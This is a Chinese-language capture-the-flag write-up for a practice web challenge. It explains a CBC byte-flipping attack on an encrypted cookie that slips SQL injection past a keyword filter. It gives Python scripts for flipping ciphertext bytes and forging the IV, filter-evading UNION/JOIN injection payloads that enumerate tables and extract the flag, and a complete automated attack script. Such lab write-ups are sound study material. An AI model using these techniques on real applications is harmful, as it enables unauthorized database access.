以下内容主要参考pcat的writeup,并加入个人的一点理解。
一、题目概况
1、题目
CTF实验吧的一道题目,比较有意思,记下来以供回顾。URL:http://ctf5.shiyanbar.com/web/jiandan/index.php,进入后显示
无论输什么id,均返回:Hello!
2、入手
在进入登录界面时抓包,看响应中有提示:tips:test.php
则登录http://ctf5.shiyanbar.com/web/jiandan/test.php,查看源代码:
该代码功能大致如下:
1、如果id不为空,则根据接收到的id生成数组info[‘id’: id值]。将该数组进行序列化之后,以序列化结果和一个随机数iv进行cbc加密生成密文cipher,加密算法为"aes-128-cbc"。最后在响应中将cookie设为iv和cipher(这两个值均先base64编码,再URL编码)。以上由test.php中的主代码和login()函数完成。
2、如果id为空,则根据报文头cookie里的iv和cipher值进行解密,并将解密结果反向序列化之后恢复出info,进而得到id值$info['id'],并执行以下查询:
sql="select * from users limit ".$info['id'].",0";
以上由test.php中的主代码和show_homepage()函数完成。
3、可以看到,由于limit第二个参数为0,则无论id是什么均不会返回结果,但如果能利用id进行注入,则可以获得我们想要的结果。
4、利用id注入的关键是绕过test代码中的防火墙sqliCheck($str):
preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str)
该代码过滤了绝大多数特殊字符,如:-、#、=、~ 、union、like、procedure。因此要直接通过id注入较难。但是可以看到代码中并没有对解密后的id进行过滤,因此我们可以利用cbc字节翻转攻击更改cipher,并进而更改解密后id,从而绕过防火墙。
二、cbc字节翻转攻击的基本原理
1、cbc解密过程
如图:
可以看到明文的生成是先对密文分组解密后,再异或上一组密文后得到。因此,如果我们能更改上一组密文,则可以更改明文。
2、cbc攻击原理
1)设明文原文为P_old,要更改为P_new;上一组密文原文为C_old,要更改为C_new;,密文解密后和上一组密文异或前的中间数据为M。
如果我们能将C_new设置为:
C_new = C_old ⊕ P_old ⊕ P_new ---- 公式 1
由于
P_old = M ⊕ C_old
则有
M ⊕ C_new = M ⊕ C_old ⊕ P_old ⊕ P_new
= P_old ⊕ P_old ⊕ P_new = P_new
则可以得到P_new
2)以第二组明文的更改为例,由于C_old(即cipher以128位(或16字节)分组的第二组)、P_old(即数组info序列化后明文的第二组)、P_new(要更改的明文)都已知,因此可以通过公式1得到C_new,并执行cbc字节翻转攻击。
3)由于第一组密文被更改,因此第一组明文也相应改变,此时反序列化会失败。因此还需要根据同样原理将第一组明文改回来,此时可以将iv进行改变(类似C_old与C_new),并进而改变第一组明文。有:
iv_new = iv_old ⊕ P_old ⊕ P_new —— 公式2
此时iv_old为第一次生成的iv,P_old为序列化失败后返回的明文的第一组(前16字节),P_new为需要改变的明文(即正确的序列化数据的第一组,也就是第一次的info序列化后的前16字节)。
4)一些注意事项
a)iv和cipher解密前都要先URL解码,再b64解码,同样加密前应先b64编码,再URL编码;
b)第一组密文要改变的字符位置要和第二组明文中相对应,比如第二组明文中第四字节是2,要改成#,则第一组密文中也要改第四字节(即C_old[3]),即公式1实现形式为
C_old[3] = C_old[3] ⊕‘2’⊕‘#’
实际操作中,要写一个php脚本对真实数据序列化后来判断偏移量。
三、攻击实际步骤
1、首先验证cbc攻击是否可行
构造id=12。目标是修改12为1#,这样就能注释掉sql查询中的“,0”。以id=12提交请求后记录cipher和iv:
2、计算偏移量
用以下的php脚本对数组序列化,并将结果按16字节长度进行分组后输出:
$id = "12";
$info = array('id'=>$id);
$plain = serialize($info);
$row=ceil(strlen($plain)/16);
for($i=0;$i<$row;$i++){
echo substr($plain,$i*16,16).'';
}
?>
运行后显示:
a:1:{s:2:"id";s:
2:"12";}
可以看到,如果要将第二组明文中“12”的2改为#,则偏移量为4,则应对第一组密文同样偏移量的字节进行操作。
3、更改第一组密文
综上,更改第一组密文的python脚本如下,注意该脚本为python2.7环境:
# -*- coding:utf8 -*-
from base64 import *
import urllib
cipher='fn060OBP%2FyLIGYrD9bi%2FlWWAS9RIWvEtALaV26kuB%2F8%3D'
cipher_raw=b64decode(urllib.unquote(cipher))
lst=list(cipher_raw)
idx=4
c1='2'
c2='#'
lst[idx]=chr(ord(lst[idx])^ord(c1)^ord(c2))
cipher_new=''.join(lst)
cipher_new=urllib.quote(b64encode(cipher_new))
print cipher_new
运行脚本,得到cipher_new为:
fn060PFP/yLIGYrD9bi/lWWAS9RIWvEtALaV26kuB/8%3D
4、更改iv
将cipher_new的值赋给cookie的cipher,iv值不变,重新发送请求,此时由于第一组明文被改变,导致反序列化失败,响应如图:
我们需要把响应中的内容(即改变密文后解密出的明文)记录下来,取前16字节按公式2进行操作以得到iv_new。脚本如下:
# -*- coding:utf8 -*-
__author__='[email protected]'
from base64 import *
import urllib
iv='erUDGVSvM4Kab3ztg8vT8Q%3D%3D'
iv_raw=b64decode(urllib.unquote(iv))
first='a:1:{s:2:"id";s:'
plain=b64decode('eFoXA0j/x2Em/bhfgeLzXjI6IjEjIjt9')
iv_new=''
for i in range(16):
iv_new+=chr(ord(plain[i])^ord(first[i])^ord(iv_raw[i]))
iv_new=urllib.quote(b64encode(iv_new))
print iv_new
运行,得到iv_new为Y9UlIGcjztGGsK3WIBJTlQ%3D%3D
5、执行注入
以iv_new替换原iv,和cipher_new一起重新提交,则可以看到已经返回所需要的结果,即rootzz(根据test.php中的查询脚本,应该是user表的username列的第一行值)。此时已经将12替换成1#,完成注入。
6、进一步注入
1)查询显位
但这个并不是flag,还需进一步注入。构造id为:
0 2nion select * from((select 1)a join (select 2)b join (select 3)c);%00
重复上面的步骤(注意改密文脚本中的idx、c1、c2此时分别为6、‘2’、‘u’),目标是将2union改为union。
该payload的第一个0用于和sql语句“sql="select * from users limit ".$info['id'].",0";” 中的limit组合,使得查询前面部分返回结果集的数目为0,也即屏蔽掉“select * from users”部分。
union查询用于查询显位(根据union查询原理,union查询select数必须与原查询表中字段数一致,此处已经暴力破解users表最大字段数为3。显位是指网页中哪些字段会被显示)。
由于逗号会被过滤,此处用join替代,同时写法也相应改变。最后的“;%00”用于注释掉原sql中最后的“,0”。
最后响应结果为Hello!2,因此显位为2。
2)查询表名
再次构造id:
0 2nion select * from((select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema regexp database())b join (select 3)c);%00
重复上面步骤(注意由于payload长度改变,导致序列化后的长度改变,因此改密文脚本中的偏移量idx要改为7)。该payload是mysql环境下查询表名的注入语句,其中的=用regexp替代。
得到响应结果为:Hello!users,you_want,即当前数据库有两个表为users和you_want,猜测flag在you_want表中。
3)查询字段名
再次构造id:
0 2nion select * from((select 1)a join (select group_concat(column_name) from information_schema.columns where table_name regexp 'you_want')b join (select 3)c);%00
用于查询you_want表中的column名称,此时偏移量依然为7。
返回Hello!users,value,可知只有一个字段value。
4) 查询数据
最后构造id:
0 2nion select * from((select 1)a join (select value from you_want limit 1)b join (select 3)c);%00
此时偏移量为6。 重复上面步骤,返回
Hello!flag{c42b2b758a5a36228156d9d671c37f19}。
注入成功,获得flag。
四、自动攻击脚本
以上步骤的批量执行脚本如下。为适合自动化运行,此时的%00用chr(0)替代。
# -*- coding:utf8 -*-
# 请保留我的个人信息,谢谢~!
__author__='[email protected]'
from base64 import *
import urllib
import requests
import re
def mydecode(value):
return b64decode(urllib.unquote(value))
def myencode(value):
return urllib.quote(b64encode(value))
def mycbc(value,idx,c1,c2):
lst=list(value)
lst[idx]=chr(ord(lst[idx])^ord(c1)^ord(c2))
return ''.join(lst)
def pcat(payload,idx,c1,c2):
url=r'http://ctf5.shiyanbar.com/web/jiandan/index.php'
myd={'id':payload}
res=requests.post(url,data=myd)
cookies=res.headers['Set-Cookie']
iv=re.findall(r'iv=(.*?),',cookies)[0]
cipher=re.findall(r'cipher=(.*)',cookies)[0]
iv_raw=mydecode(iv)
cipher_raw=mydecode(cipher)
cipher_new=myencode(mycbc(cipher_raw,idx,c1,c2))
cookies_new={'iv':iv,'cipher':cipher_new}
cont=requests.get(url,cookies=cookies_new).content
plain=b64decode(re.findall(r"base64_decode\('(.*?)'\)",cont)[0])
first='a:1:{s:2:"id";s:'
iv_new=''
for i in range(16):
iv_new+=chr(ord(first[i])^ord(plain[i])^ord(iv_raw[i]))
iv_new=myencode(iv_new)
cookies_new={'iv':iv_new,'cipher':cipher_new}
cont=requests.get(url,cookies=cookies_new).content
print 'Payload:%s\n>> ' %(payload)
print cont
pass
def foo():
pcat('12',4,'2','#')
pcat('0 2nion select * from((select 1)a join (select 2)b join (select 3)c);'+chr(0),6,'2','u')
pcat('0 2nion select * from((select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema regexp database())b join (select 3)c);'+chr(0),7,'2','u')
pcat("0 2nion select * from((select 1)a join (select group_concat(column_name) from information_schema.columns where table_name regexp 'you_want')b join (select 3)c);"+chr(0),7,'2','u')
pcat("0 2nion select * from((select 1)a join (select value from you_want limit 1)b join (select 3)c);"+chr(0),6,'2','u')
pass
if __name__ == '__main__':
foo()
print 'ok'